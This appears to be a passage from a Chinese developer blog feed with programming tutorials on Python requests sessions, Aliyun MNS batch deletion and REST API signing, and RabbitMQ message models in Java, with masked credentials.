            'User-agent': "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36"
        })
        
        
        with response:
            print(response.text)
            print(response.status_code)
            print(response.url)
            print(response.headers)
            print(response.request)

        执行结果:

        image.png

        我们具体来看一下request:

            print(response.headers, '~~~~~')
            print(response.request.headers)

        上面的headers是response的,下面的是请求的headers
        执行结果:

        image.png

        里面还有别的参数,大家可以去尝试一下。

        image.png

        requests默认使用Session对象, 是为了在多次和服务器端交互中保留会话的信息, 例如cookie。

        直接使用Session:

        image.png
        image.png

        我们也来尝试去打印一下这些信息:

        import requests
        
        urls = ['https://www.baidu.com/s?wd=magedu', 'https://www.baidu.com/s?wd=magedu']
        session = request.session()
        with session:
            for url in urls:
                response = session.get(url, headers = {
                'User-agent': "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36"
                })
            
                with response:
                    print(response.text[:50])
                    print('-'*30)
                    print(response.cookies)
                    print('-'*30)
                    print(response.headers, '~~~~~')
                    print(response.request.headers)

        执行结果:

        image.png
        image.png
        image.png

        通过结果可以看出,Session对象对cookie起了作用。观察第一次返回的cookie与第二次发起请求的response.request.headers的cookie。返回的结果依然是键值对,只是之中value的值依然是用键值对来表示的。

        配套视频课程,点击这里查看

        获取更多资源请订阅Python学习站

        ]]>
        MNS服务批量删除问题 Fri, 02 May 2025 09:39:04 +0800

        作者:俏巴

        操作步骤

        1、ak,sk参数获取:阿里云常见参数获取位置

        2、endpoint参数获取
        image.png

        3、pom.xml

        <dependency>
                 <groupId>com.aliyun.mns</groupId>
                 <artifactId>aliyun-sdk-mns</artifactId>
                 <version>1.1.8</version>
                 <classifier>jar-with-dependencies</classifier>
             </dependency>

        4、Code Sample

        import com.aliyun.mns.client.CloudAccount;
        import com.aliyun.mns.client.MNSClient;
        import com.aliyun.mns.model.PagingListResult;
        import com.aliyun.mns.model.QueueMeta;
        import com.aliyun.mns.model.TopicMeta;
        import java.util.List;
        
        public class DeleteQueueOrTopicDemo {
        
            public static void main(String[] args) {
        
                //初始参数设置 ak,sk信息及对应区域所在的地址
                String accessKeyId = "********";
                String accessKeySecret = "********";
                String endpoint = "http://********.mns.cn-********.aliyuncs.com/";
        
                CloudAccount account = new CloudAccount(accessKeyId, accessKeySecret, endpoint);
                MNSClient client = account.getMNSClient();
        
                String prefix = ""; //全部删除设置
                String marker = "";
                Integer retNumber = 10000;
        //        deleteQueues(client, prefix, marker, retNumber); // 删除队列
                deleteTopics(client, prefix, marker, retNumber);  // 删除主题
        
                client.close();
            }
        
            /***
             * delete queue
             * @param client client对象
             * @param prefix 队列名称前缀,如果是批量全部删除,直接使用 "" 即可
             * @param marker 列举的起始位置,""表示从第一个开始,也可以是前一次列举返回的marker
             * @param retNumber 最多返回的个数
             */
            public static void deleteQueues(MNSClient client,String prefix,String marker,Integer retNumber)
            {
                PagingListResult<QueueMeta> listResult = client.listQueue(prefix, marker, retNumber);
        
                System.out.println(listResult.getResult().size());
                List<QueueMeta> queues = listResult.getResult();
        
                //循环遍历删除Queue
                int i = 0;
        
                System.out.println(queues.size());
                if(queues.size() != 0) {
        
                    for (QueueMeta queue : queues) {
                        //删除消息队列
                        String queueName = queue.getQueueName();
                        client.getQueueRef(queueName).delete();
                        i++;
                        System.out.println("Delete queue " + queueName);
                    }
                }else{
                    System.out.println("没有满足筛选条件的队列");
                }
        
                System.out.println("The number of deleted queues is" + i);
            }
        
            /**
             * delete topic
             * @param client client对象
             * @param prefix 主题名称前缀,如果是批量全部删除,直接使用 "" 即可
             * @param marker 列举的起始位置,""表示从第一个开始,也可以是前一次列举返回的marker
             * @param retNumber 最多返回的个数
             */
            public static void deleteTopics(MNSClient client,String prefix,String marker,Integer retNumber)
            {
                PagingListResult<TopicMeta> listResult = client.listTopic(prefix, marker, retNumber);
        
                List<TopicMeta> topics = listResult.getResult();
        
                //循环遍历删除Queue
                int i = 0;
        
                if (topics.size() != 0) {
                    //循环遍历删除Topic
                    for (TopicMeta topic : topics) {
                        //删除消息Topic
                        String topicName = topic.getTopicName();
                        client.getTopicRef(topicName).delete();
                        System.out.println("Delete Topic " + topicName);
                        i++;
                    }
                }
                else{
                    System.out.println("没有满足筛选条件的主题");
                }
                System.out.println("The number of deleted topics is" + i);
            }
        }

        参考链接
        MNS Java SDK下载

        ]]>
        RabbitMQ消息队列学习笔记 Fri, 02 May 2025 09:39:04 +0800

        作者:俏巴

        概述

        初次使用AMQP的过程中,总是容易被AMQP支持的消息模型绕晕,这里结合官方的教程,对AMQP的消息模型做一个简要总结,供参考。目前官方给出了六种消息发送/接收模型,这里主要介绍前五种消息模型。

        消息模型

        1、Hello World

        简单模式就是生产者将消息发送到队列、消费者从队列中获取消息。一条消息对应一个消费者。

        image.png

        示例代码说明:

        测试使用的是阿里云的AMQP消息队列服务,具体的代码配置过程可以参考阿里云官方链接

        工具类

        import AMQP.AliyunCredentialsProvider;
        import com.rabbitmq.client.Connection;
        import com.rabbitmq.client.ConnectionFactory;
        
        public class ConnectionUtil {
        
          public static Connection getConnection() throws Exception{
              // 初始化参数设置
              String AccessKey= "********";
              String SecretKey = "********";
              Long Uid = ********16617278L;
              String VhostName = "********";
              String host = "********16617278.mq-amqp.cn-hangzhou-a.aliyuncs.com";
        
              // 定义连接工厂
              ConnectionFactory connectionFactory = new ConnectionFactory();
              // 设置服务地址
              connectionFactory.setHost(host);
              // 端口
              connectionFactory.setPort(5672);
              // 设置用户名、密码、vhost
              connectionFactory.setCredentialsProvider(new AliyunCredentialsProvider(AccessKey,SecretKey,Uid));
              connectionFactory.setAutomaticRecoveryEnabled(true);
              connectionFactory.setNetworkRecoveryInterval(5000);
              connectionFactory.setVirtualHost(VhostName);
        
              // 通过工厂获取连接对象
              Connection connection = connectionFactory.newConnection();
              return connection;
          }
        }

        发送端示例代码

        import AMQP.RabbitMQTutorials.ConnectionUtil;
        import com.rabbitmq.client.Channel;
        import com.rabbitmq.client.Connection;
        
        // hello world 单个消费者和接收者
        public class Send {
        
            private final static String Queue_name = "helloDemo";
            public static void main(String[] args) throws Exception {
                // 获取连接及mq通道
                Connection connection = ConnectionUtil.getConnection();
                Channel channel = connection.createChannel();
        
                channel.queueDeclare(Queue_name,false,false,false,null);
                //消息内容
                String message = "Hello World!";
                // 1、交换机,此处无   2、发送到那个队列 3、属性  4、消息内容
                channel.basicPublish("",Queue_name,null,message.getBytes());
        
                System.out.println("发送数据:" + message);
        
                // 关闭连接
                channel.close();
                connection.close();
            }
        }

        消费端示例代码

        import AMQP.RabbitMQTutorials.ConnectionUtil;
        import com.rabbitmq.client.*;
        import java.io.IOException;
        
        public class Receiver {
            private final static String Queue_name = "helloDemo";
            public static void main(String[] args) throws Exception{
                Connection connection = ConnectionUtil.getConnection();
                final Channel channel =  connection.createChannel();
                
                // 开始消费消息
                channel.basicConsume(Queue_name, false, "ConsumerTag", new DefaultConsumer(channel) {
                    @Override
                    public void handleDelivery(String consumerTag, Envelope envelope,
                                               AMQP.BasicProperties properties, byte[] body)
                            throws IOException {
                        //接收到的消息,进行业务逻辑处理
                        System.out.println("message receive: ");
                        System.out.println("Received: " + new String(body, "UTF-8") + ", deliveryTag: " + envelope.getDeliveryTag());
                        channel.basicAck(envelope.getDeliveryTag(), false);
                    }
                });
                Thread.sleep(100000);
                channel.close();
                connection.close();
            }
        }

        2、Work Queues

        一条消息可以被多个消费者尝试接收,最终只有一个消费者能够获取到消息。

        image.png

        发送端示例代码

        import AMQP.RabbitMQTutorials.ConnectionUtil;
        import com.rabbitmq.client.Channel;
        import com.rabbitmq.client.Connection;
        
        // 1:N  消费者各自接收消息
        public class Sender {
        
            private final static String queueName = "workQueue";
            public static void main(String[] args) throws Exception {
                Connection connection = ConnectionUtil.getConnection();
                Channel channel = connection.createChannel();
        
                // 声明队列
                channel.queueDeclare(queueName,false,false,false,null);
                for (int i = 0; i < 100; i++) {
        
                    String message = "workqueues message " + i;
                    channel.basicPublish("",queueName,null,message.getBytes());
                    System.out.println("发送消息: " + message);
        
                    Thread.sleep(10);//休眠
                }
                // 关闭连接
                channel.close();
                connection.close();
            }
        }

        消费端示例代码1

        import AMQP.RabbitMQTutorials.ConnectionUtil;
        import com.rabbitmq.client.*;
        import java.io.IOException;
        
        public class Receiver1 {
        
            private final static String queueName = "workQueue";
            public static void main(String[] args) throws Exception{
        
                Connection connection = ConnectionUtil.getConnection();
                final Channel channel = connection.createChannel();
                channel.queueDeclare(queueName,false,false,false,null);
                channel.basicQos(1);//告诉服务器,在没有确认当前消息完成之前,不要给我发新的消息。
        
                DefaultConsumer consumer = new DefaultConsumer(channel){
                    public void handleDelivery(String consumerTag, Envelope envelope,
                                               AMQP.BasicProperties properties, byte[] body)
                            throws IOException {
                        //接收到的消息,进行业务逻辑处理
                        System.out.println("message receive1: ");
                        System.out.println("Received1: " + new String(body, "UTF-8") + ", deliveryTag: " + envelope.getDeliveryTag());
                        try {
                            Thread.sleep(100);
                        } catch (InterruptedException e) {
                            e.printStackTrace();
                        }
                        channel.basicAck(envelope.getDeliveryTag(), false);// 参数2 false为确认收到消息, true为拒绝收到消息
                    }
                };
                channel.basicConsume(queueName,false,consumer);// 参数2 手动确认,代表我们收到消息后需要手动确认告诉服务器我们收到消息了
            }
        }

        消费端示例代码2

        import AMQP.RabbitMQTutorials.ConnectionUtil;
        import com.rabbitmq.client.*;
        import java.io.IOException;
        
        public class Receiver2 {
        
            private final static String queueName = "workQueue";
            public static void main(String[] args) throws Exception{
        
                Connection connection = ConnectionUtil.getConnection();
                final Channel channel = connection.createChannel();
                channel.queueDeclare(queueName,false,false,false,null);
                channel.basicQos(1);//告诉服务器,在没有确认当前消息完成之前,不要给我发新的消息。
        
                DefaultConsumer consumer = new DefaultConsumer(channel){
                    public void handleDelivery(String consumerTag, Envelope envelope,
                                               AMQP.BasicProperties properties, byte[] body)
                            throws IOException {
                        //接收到的消息,进行业务逻辑处理
                        System.out.println("message receive2: ");
                        System.out.println("Received2: " + new String(body, "UTF-8") + ", deliveryTag: " + envelope.getDeliveryTag());
                        try {
                            Thread.sleep(10);
                        } catch (InterruptedException e) {
                            e.printStackTrace();
                        }
                        channel.basicAck(envelope.getDeliveryTag(), false);// 参数2 false为确认收到消息, true为拒绝收到消息
                    }
                };
                channel.basicConsume(queueName,false,consumer);// 参数2 手动确认,代表我们收到消息后需要手动确认告诉服务器我们收到消息了
            }
        }

        3、Publish/Subscribe

        一条消息可以被多个消费者同时获取,生产者将消息发送给交换机,消费者将自己对应的队列注册到交换机,当发送消息后,所有注册的队列的消费者都可以收到消息。

        image.png

        发送端示例代码

        import AMQP.RabbitMQTutorials.ConnectionUtil;
        import com.rabbitmq.client.Channel;
        import com.rabbitmq.client.Connection;
        
        public class Sender {
        
            private static String Exchange_Name = "ExchangeDemo";//声明交换机
            public static void main(String[] args) throws Exception {
                Connection connection = ConnectionUtil.getConnection();
                Channel channel = connection.createChannel();
        
                // 声明exchange
                // Producer 将消息发送到 Exchange ,由 Exchange 将消息路由到一个或多个 Queue 中(或者丢弃),Exchange 按照相应的 Binding 逻辑将消息路由到 Queue。
                channel.exchangeDeclare(Exchange_Name,"fanout");
                String message = "Exchange message demo";
        
                // 消息发送端交换机,如果此时没有队列绑定,则消息会丢失,因为交换机没有存储消息的能力
                channel.basicPublish(Exchange_Name,"",null,message.getBytes());
                System.out.println("发送消息: " + message);
            }
        }

        消费端示例代码1

        import AMQP.RabbitMQTutorials.ConnectionUtil;
        import com.rabbitmq.client.*;
        import java.io.IOException;
        
        public class Sub1 {
            private static String Exchange_Name = "ExchangeDemo";//声明交换机
            public static void main(String[] args) throws Exception{
                Connection connection = ConnectionUtil.getConnection();
                final Channel channel = connection.createChannel();
        
                channel.queueDeclare("testqueue1",false,false,false,null);
                // 绑定到交换机
                channel.queueBind("testqueue1",Exchange_Name,"");
                channel.basicQos(1);
        
                DefaultConsumer consumer = new DefaultConsumer(channel){
                    @Override
                    public void handleDelivery(String consumerTag, Envelope envelope, AMQP.BasicProperties properties,byte[] body) throws IOException{
        
                        System.out.println("sub1: " + new String(body));
                        channel.basicAck(envelope.getDeliveryTag(),false);
                    }
                };
                channel.basicConsume("testqueue1",false,consumer);
            }
        }

        消费端示例代码2

        import AMQP.RabbitMQTutorials.ConnectionUtil;
        import com.rabbitmq.client.*;
        import java.io.IOException;
        
        public class Sub2 {
            private static String Exchange_Name = "ExchangeDemo";//声明交换机
        
            public static void main(String[] args) throws Exception{
                Connection connection = ConnectionUtil.getConnection();
                final Channel channel = connection.createChannel();
                channel.queueDeclare("testqueue2",false,false,false,null);
                // 绑定到交换机
                channel.queueBind("testqueue2",Exchange_Name,"");
                channel.basicQos(1);
        
                DefaultConsumer consumer = new DefaultConsumer(channel){
                    @Override
                    public void handleDelivery(String consumerTag, Envelope envelope, AMQP.BasicProperties properties,byte[] body) throws IOException{
                        System.out.println("sub2: " + new String(body));
                        channel.basicAck(envelope.getDeliveryTag(),false);
                    }
                };
                channel.basicConsume("testqueue2",false,consumer);
            }
        }

        4、Routing

        生产者将消息发送到type为direct模式的交换机,消费者的队列将自己绑定到路由的时候给自己绑定一个key,只有生产者发送的消息key和绑定的key一致时,消费者才能收到对应的消息。

        image.png

        发送端示例代码

        import AMQP.RabbitMQTutorials.ConnectionUtil;
        import com.rabbitmq.client.Channel;
        import com.rabbitmq.client.Connection;
        
        public class Sender {
            private static final String ExchangeName = "Rout_Change";//路由消息交换机
        
            public static void main(String[] args) throws Exception {
                Connection connection = ConnectionUtil.getConnection();
                Channel channel = connection.createChannel();
                channel.exchangeDeclare(ExchangeName,"direct");
                channel.basicPublish(ExchangeName,"key3",null,"route 消息".getBytes());
        
                channel.close();
                connection.close();
            }
        }

        消费端示例代码

        import AMQP.RabbitMQTutorials.ConnectionUtil;
        import com.rabbitmq.client.*;
        import java.io.IOException;
        
        public class Sub {
            private static final String ExchangeName = "Rout_Change";//路由消息交换机
            public static void main(String[] args) throws Exception{
        
                Connection connection = ConnectionUtil.getConnection();
                final Channel channel = connection.createChannel();
        
                // 声明队列
                channel.queueDeclare("testroutequeue1",false,false,false,null);
        
                // 绑定交换机
                // 参数3 标记 绑定到交换机的时候会有一个标记,只有和它一样标记的消息才会别消费到
                channel.queueBind("testroutequeue1",ExchangeName,"key1");
                channel.queueBind("testroutequeue1",ExchangeName,"key2");//绑定多个标记
                channel.basicQos(1);
        
                DefaultConsumer consumer = new DefaultConsumer(channel){
                    public void handleDelivery(String consumerTag, Envelope envelope,
                                               AMQP.BasicProperties properties, byte[] body)
                            throws IOException {
                        //接收到的消息,进行业务逻辑处理
                        System.out.println("message route receive1: ");
                        System.out.println("Received1: " + new String(body, "UTF-8") + ", deliveryTag: " + envelope.getDeliveryTag());
                        try {
                            Thread.sleep(100);
                        } catch (InterruptedException e) {
                            e.printStackTrace();
                        }
                        channel.basicAck(envelope.getDeliveryTag(), false);// 参数2 false为确认收到消息, true为拒绝收到消息
                    }
                };
                channel.basicConsume("testroutequeue1",false,consumer);// 参数2 手动确认,代表我们收到消息后需要手动确认告诉服务器我们收到消息了
            }
        }

        5、Topics

        该类型与 Direct 类型相似,只是规则没有那么严格,可以模糊匹配和多条件匹配,即该类型 Exchange 使用 Routing key 模式匹配和字符串比较的方式将消息路由至绑定的 Queue。

        示例:

        Routing key 为 use.stock 的消息会转发给绑定匹配模式为 .stock, use.stock, . 和 #.use.stock.# 的 Queue; 表是匹配一个任意词组,# 表示匹配 0 个或多个词组。

        image.png

        发送端示例代码

        import AMQP.RabbitMQTutorials.ConnectionUtil;
        import com.rabbitmq.client.Channel;
        import com.rabbitmq.client.Connection;
        
        public class Sender {
            private static String Exchange_Name = "Exchange_Topic";
            public static void main(String[] args) throws Exception{
        
                Connection connection = ConnectionUtil.getConnection();
                Channel channel = connection.createChannel();
        
                // 声明exchange类型为Topic 也就是通配符模式
                channel.exchangeDeclare(Exchange_Name,"topic");
                channel.basicPublish(Exchange_Name,"abc.1.2",null,"Topic 模式消息".getBytes());
        
                // 关闭通道和连接
                channel.close();
                connection.close();
            }
        }

        接收端示例代码

        import AMQP.RabbitMQTutorials.ConnectionUtil;
        import com.rabbitmq.client.*;
        import java.io.IOException;
        
        public class Sub {
            private static String ExchangeName = "Exchange_Topic";
            public static void main(String[] args) throws Exception{
                Connection connection = ConnectionUtil.getConnection();
                final Channel channel = connection.createChannel();
        
                // 声明队列
                channel.queueDeclare("topicqueue",false,false,false,null);
                // 绑定交换机
                // 参数3 标记 绑定到交换机的时候会有一个标记,只有和它一样标记的消息才会别消费到
                channel.queueBind("topicqueue",ExchangeName,"key.*");
                channel.queueBind("topicqueue",ExchangeName,"abc.#");//绑定多个标记
                channel.basicQos(1);
        
                DefaultConsumer consumer = new DefaultConsumer(channel){
                    public void handleDelivery(String consumerTag, Envelope envelope,
                                               AMQP.BasicProperties properties, byte[] body)
                            throws IOException {
                        //接收到的消息,进行业务逻辑处理
                        System.out.println("message route receive1: ");
                        System.out.println("Received1: " + new String(body, "UTF-8") + ", deliveryTag: " + envelope.getDeliveryTag());
                        try {
                            Thread.sleep(100);
                        } catch (InterruptedException e) {
                            e.printStackTrace();
                        }
                        channel.basicAck(envelope.getDeliveryTag(), false);// 参数2 false为确认收到消息, true为拒绝收到消息
                    }
                };
                channel.basicConsume("topicqueue",false,consumer);// 参数2 手动确认,代表我们收到消息后需要手动确认告诉服务器我们收到消息了
            }
        }

        参考链接
        RabbitMQ Tutorials

        Rabbitmq企业级消息队列视频课程

        ]]>
        阿里云MNS Queue Rest API操作示例 Fri, 02 May 2025 09:39:04 +0800

        作者:俏巴

        签名验证工具

        如果在使用过程中因为签名问题一直无法通过,建议直接使用签名验证工具进行快速的测试验证。

        image.png

        Code Sample

        创建队列

        import org.apache.commons.codec.binary.Base64;
        import org.apache.http.HttpEntity;
        import org.apache.http.HttpResponse;
        import org.apache.http.client.HttpClient;
        import org.apache.http.client.methods.HttpPut;
        import org.apache.http.client.utils.URIBuilder;
        import org.apache.http.impl.client.HttpClients;
        import org.apache.http.util.EntityUtils;
        import org.apache.http.entity.StringEntity;
        
        import javax.crypto.Mac;
        import javax.crypto.spec.SecretKeySpec;
        import java.io.UnsupportedEncodingException;
        import java.math.BigInteger;
        import java.net.URI;
        import java.security.InvalidKeyException;
        import java.security.MessageDigest;
        import java.security.NoSuchAlgorithmException;
        import java.text.DateFormat;
        import java.text.SimpleDateFormat;
        import java.util.Date;
        import java.util.Locale;
        import java.util.TimeZone;
        
        public class CreateMNSQueue {
        
            public static void main(String[] args) {
                //参数设置
                String AccessKeySecret = "********";//Access Key Secret
                String AccessKeyId = "********";//AccessKey ID
                String AccountId = "********";//Account ID
        
                //获取GMT英文格式时间
                Date d=new Date();
                DateFormat format=new SimpleDateFormat("EEE, dd MMM yyyy HH:mm:ss z",Locale.ENGLISH);//英文格式的时间转换时需要带上Locale.ENGLISH,否则会转换失败,因为它默认的是本地化的设置,除非你的操作系统是英文的,总之时间转换时需要时间格式与模式保持一致。
                format.setTimeZone(TimeZone.getTimeZone("GMT"));
                String date = format.format(d);
        
                String body = "<?xml version="1.0" encoding="UTF-8"  ?>n" +
                        "    <Queue xmlns="http://mns.aliyuncs.com/doc/v1/">n" +
                        "    <VisibilityTimeout >60</VisibilityTimeout>n" +
                        "    <MaximumMessageSize>1024</MaximumMessageSize>n" +
                        "    <MessageRetentionPeriod>120</MessageRetentionPeriod>n" +
                        "    <DelaySeconds>0</DelaySeconds>n" +
                        "    </Queue>";
        
                //构造签名String
                String SignString = "PUTn" +
                        "n"+
                        "application/xml"+
                        "n"+
                        date + "n"+
                        "x-mns-version:2015-06-06" +"n"+
                        "/queues/TestQueue123";
        
                String sign = encode(AccessKeySecret,SignString);
                String Authorization = "MNS " + AccessKeyId + ":" + sign;
                HttpClient httpclient = HttpClients.createDefault();
        
                try
                {
                    URIBuilder builder = new URIBuilder("http://" + AccountId + ".mns.cn-hangzhou.aliyuncs.com/queues/TestQueue123");//在杭州区域
                    URI uri = builder.build();
                    HttpPut request = new HttpPut(uri);
                    request.setHeader("Authorization", Authorization);
                    request.setHeader("Date", date);
                    request.setHeader("Host", AccountId + ".mns.cn-hangzhou.aliyuncs.com");
                    request.setHeader("Content-Type","application/xml");
                    request.setHeader("x-mns-version","2015-06-06");
        
                    // Request body
                    StringEntity reqEntity = new StringEntity(body,"UTF-8");
                    request.setEntity(reqEntity);
        
                    HttpResponse response = httpclient.execute(request);
                    HttpEntity entity = response.getEntity();
        
                    if (entity != null)
                    {
                        System.out.println(EntityUtils.toString(entity));
                    }
                }
                catch (Exception e)
                {
                    System.out.println("error");
                    System.out.println(e.getMessage());
                }
            }
        
            //写一个md5加密的方法
            public static String md5(String plainText) {
                //定义一个字节数组
                byte[] secretBytes = null;
                try {
                    // 生成一个MD5加密计算摘要
                    MessageDigest md = MessageDigest.getInstance("MD5");
                    //对字符串进行加密
                    md.update(plainText.getBytes());
                    //获得加密后的数据
                    secretBytes = md.digest();
                } catch (NoSuchAlgorithmException e) {
                    throw new RuntimeException("没有md5这个算法!");
                }
                //将加密后的数据转换为16进制数字
                String md5code = new BigInteger(1, secretBytes).toString(16);// 16进制数字
                // 如果生成数字未满32位,需要前面补0
                for (int i = 0; i < 32 - md5code.length(); i++) {
                    md5code = "0" + md5code;
                }
                return md5code;
            }
        
            //计算签名
            public static String encode(String accessKey, String data) {
                try {
                    byte[] keyBytes = accessKey.getBytes("UTF-8");
                    byte[] dataBytes = data.getBytes("UTF-8");
                    Mac mac = Mac.getInstance("HmacSHA1");
                    mac.init(new SecretKeySpec(keyBytes, "HmacSHA1"));
                    return new String(Base64.encodeBase64(mac.doFinal(dataBytes)));
                } catch (UnsupportedEncodingException var5) {
                    throw new RuntimeException("Not supported encoding method UTF-8", var5);
                } catch (NoSuchAlgorithmException var6) {
                    throw new RuntimeException("Not supported signature method hmac-sha1", var6);
                } catch (InvalidKeyException var7) {
                    throw new RuntimeException("Failed to calculate the signature", var7);
                }
            }
        }

        删除队列

        import org.apache.commons.codec.binary.Base64;
        import org.apache.http.HttpEntity;
        import org.apache.http.HttpResponse;
        import org.apache.http.client.HttpClient;
        import org.apache.http.client.methods.HttpDelete;
        import org.apache.http.client.utils.URIBuilder;
        import org.apache.http.impl.client.HttpClients;
        import org.apache.http.util.EntityUtils;
        
        import javax.crypto.Mac;
        import javax.crypto.spec.SecretKeySpec;
        import java.io.UnsupportedEncodingException;
        import java.math.BigInteger;
        import java.net.URI;
        import java.security.InvalidKeyException;
        import java.security.MessageDigest;
        import java.security.NoSuchAlgorithmException;
        import java.text.DateFormat;
        import java.text.SimpleDateFormat;
        import java.util.Date;
        import java.util.Locale;
        import java.util.TimeZone;
        
        public class DeleteMNSQueue {
        
            public static void main(String[] args) {
                //参数设置
                String AccessKeySecret = "********";//Access Key Secret
                String AccessKeyId = "********";//AccessKey ID
                String AccountId = "********";
        
                //获取GMT英文格式时间
                Date d=new Date();
                DateFormat format=new SimpleDateFormat("EEE, dd MMM yyyy HH:mm:ss z",Locale.ENGLISH);//英文格式的时间转换时需要带上Locale.ENGLISH,否则会转换失败,因为它默认的是本地化的设置,除非你的操作系统是英文的,总之时间转换时需要时间格式与模式保持一致。
                format.setTimeZone(TimeZone.getTimeZone("GMT"));
                String date = format.format(d);
        
                //构造签名String
                String SignString = "DELETEn" +
                        "n"+"n"+
                        date + "n"+
                        "x-mns-version:2015-06-06" +"n"+
                        "/queues/TestQueue123";
        
                String sign = encode(AccessKeySecret,SignString);
                String Authorization = "MNS " + AccessKeyId + ":" + sign;
                HttpClient httpclient = HttpClients.createDefault();
        
                try
                {
                    URIBuilder builder = new URIBuilder("http://" + AccountId + ".mns.cn-hangzhou.aliyuncs.com/queues/TestQueue123");//在青岛区域创建Project
                    URI uri = builder.build();
                    HttpDelete request = new HttpDelete(uri);
                    request.setHeader("Authorization", Authorization);
                    request.setHeader("Date", date);
                    request.setHeader("Host", AccountId + ".mns.cn-hangzhou.aliyuncs.com");
                    request.setHeader("x-mns-version","2015-06-06");
        
                    HttpResponse response = httpclient.execute(request);
                    HttpEntity entity = response.getEntity();
        
                    if (entity != null)
                    {
                        System.out.println(EntityUtils.toString(entity));
                    }
                }
                catch (Exception e)
                {
                    System.out.println("error");
                    System.out.println(e.getMessage());
                }
            }
        
            //写一个md5加密的方法
            public static String md5(String plainText) {
                //定义一个字节数组
                byte[] secretBytes = null;
                try {
                    // 生成一个MD5加密计算摘要
                    MessageDigest md = MessageDigest.getInstance("MD5");
                    //对字符串进行加密
                    md.update(plainText.getBytes());
                    //获得加密后的数据
                    secretBytes = md.digest();
                } catch (NoSuchAlgorithmException e) {
                    throw new RuntimeException("没有md5这个算法!");
                }
                //将加密后的数据转换为16进制数字
                String md5code = new BigInteger(1, secretBytes).toString(16);// 16进制数字
                // 如果生成数字未满32位,需要前面补0
                for (int i = 0; i < 32 - md5code.length(); i++) {
                    md5code = "0" + md5code;
                }
                return md5code;
            }
        
            //计算签名
            public static String encode(String accessKey, String data) {
                try {
                    byte[] keyBytes = accessKey.getBytes("UTF-8");
                    byte[] dataBytes = data.getBytes("UTF-8");
                    Mac mac = Mac.getInstance("HmacSHA1");
                    mac.init(new SecretKeySpec(keyBytes, "HmacSHA1"));
                    return new String(Base64.encodeBase64(mac.doFinal(dataBytes)));
                } catch (UnsupportedEncodingException var5) {
                    throw new RuntimeException("Not supported encoding method UTF-8", var5);
                } catch (NoSuchAlgorithmException var6) {
                    throw new RuntimeException("Not supported signature method hmac-sha1", var6);
                } catch (InvalidKeyException var7) {
                    throw new RuntimeException("Failed to calculate the signature", var7);
                }
            }
        }

        发送消息

        import org.apache.commons.codec.binary.Base64;
        import org.apache.http.HttpEntity;
        import org.apache.http.HttpResponse;
        import org.apache.http.client.HttpClient;
        import org.apache.http.client.methods.HttpPost;
        import org.apache.http.client.utils.URIBuilder;
        import org.apache.http.entity.StringEntity;
        import org.apache.http.impl.client.HttpClients;
        import org.apache.http.util.EntityUtils;
        
        import javax.crypto.Mac;
        import javax.crypto.spec.SecretKeySpec;
        import java.io.UnsupportedEncodingException;
        import java.math.BigInteger;
        import java.net.URI;
        import java.security.InvalidKeyException;
        import java.security.MessageDigest;
        import java.security.NoSuchAlgorithmException;
        import java.text.DateFormat;
        import java.text.SimpleDateFormat;
        import java.util.Date;
        import java.util.Locale;
        import java.util.TimeZone;
        
        public class SendMessageToMNSQueue {
        
            public static void main(String[] args) {
                //参数设置
                String AccessKeySecret = "******";//Access Key Secret
                String AccessKeyId = "******";//AccessKey ID
                String AccountId = "********";
        
                //获取GMT英文格式时间
                Date d=new Date();
                DateFormat format=new SimpleDateFormat("EEE, dd MMM yyyy HH:mm:ss z",Locale.ENGLISH);//英文格式的时间转换时需要带上Locale.ENGLISH,否则会转换失败,因为它默认的是本地化的设置,除非你的操作系统是英文的,总之时间转换时需要时间格式与模式保持一致。
                format.setTimeZone(TimeZone.getTimeZone("GMT"));
                String date = format.format(d);
        
                //延迟消息
                String body = "<?xml version="1.0" encoding="UTF-8"?>n" +
                        "    <Message xmlns="http://mns.aliyuncs.com/doc/v1/">n" +
                        "        <MessageBody>The Test Message!</MessageBody>n" +
                        "        <DelaySeconds>0</DelaySeconds>n" +
                        "        <Priority>1</Priority>n" +
                        "    </Message>";
        
                //构造签名String
                String SignString = "POSTn" +
                         "n"+
                        "text/xml;charset=utf-8"+
                        "n"+
                        date + "n"+
                        "x-mns-version:2015-06-06" +"n"+
                        "/queues/TestQueue123/messages";
        
                String sign = encode(AccessKeySecret,SignString);
                String Authorization = "MNS " + AccessKeyId + ":" + sign;
                HttpClient httpclient = HttpClients.createDefault();
        
                try
                {
                    URIBuilder builder = new URIBuilder("http://" + AccountId + ".mns.cn-hangzhou.aliyuncs.com/queues/TestQueue123/messages");
                    URI uri = builder.build();
                    HttpPost request = new HttpPost(uri);
                    request.setHeader("Authorization", Authorization);
                    request.setHeader("Date", date);
                    request.setHeader("Host", AccountId + ".mns.cn-hangzhou.aliyuncs.com");
                    request.setHeader("Content-Type","text/xml;charset=utf-8");
                    request.setHeader("x-mns-version","2015-06-06");
        
                    // Request body
                    StringEntity reqEntity = new StringEntity(body,"UTF-8");
                    request.setEntity(reqEntity);
        
                    HttpResponse response = httpclient.execute(request);
                    HttpEntity entity = response.getEntity();
        
                    if (entity != null)
                    {
                        System.out.println(EntityUtils.toString(entity));
                    }
                }
                catch (Exception e)
                {
                    System.out.println("error");
                    System.out.println(e.getMessage());
                }
            }
        
            //写一个md5加密的方法
            public static String md5(String plainText) {
                //定义一个字节数组
                byte[] secretBytes = null;
                try {
                    // 生成一个MD5加密计算摘要
                    MessageDigest md = MessageDigest.getInstance("MD5");
                    //对字符串进行加密
                    md.update(plainText.getBytes());
                    //获得加密后的数据
                    secretBytes = md.digest();
                } catch (NoSuchAlgorithmException e) {
                    throw new RuntimeException("没有md5这个算法!");
                }
                //将加密后的数据转换为16进制数字
                String md5code = new BigInteger(1, secretBytes).toString(16);// 16进制数字
                // 如果生成数字未满32位,需要前面补0
                for (int i = 0; i < 32 - md5code.length(); i++) {
                    md5code = "0" + md5code;
                }
                return md5code;
            }
        
            //计算签名
            public static String encode(String accessKey, String data) {
                try {
                    byte[] keyBytes = accessKey.getBytes("UTF-8");
                    byte[] dataBytes = data.getBytes("UTF-8");
                    Mac mac = Mac.getInstance("HmacSHA1");
                    mac.init(new SecretKeySpec(keyBytes, "HmacSHA1"));
                    return new String(Base64.encodeBase64(mac.doFinal(dataBytes)));
                } catch (UnsupportedEncodingException var5) {
                    throw new RuntimeException("Not supported encoding method UTF-8", var5);
                } catch (NoSuchAlgorithmException var6) {
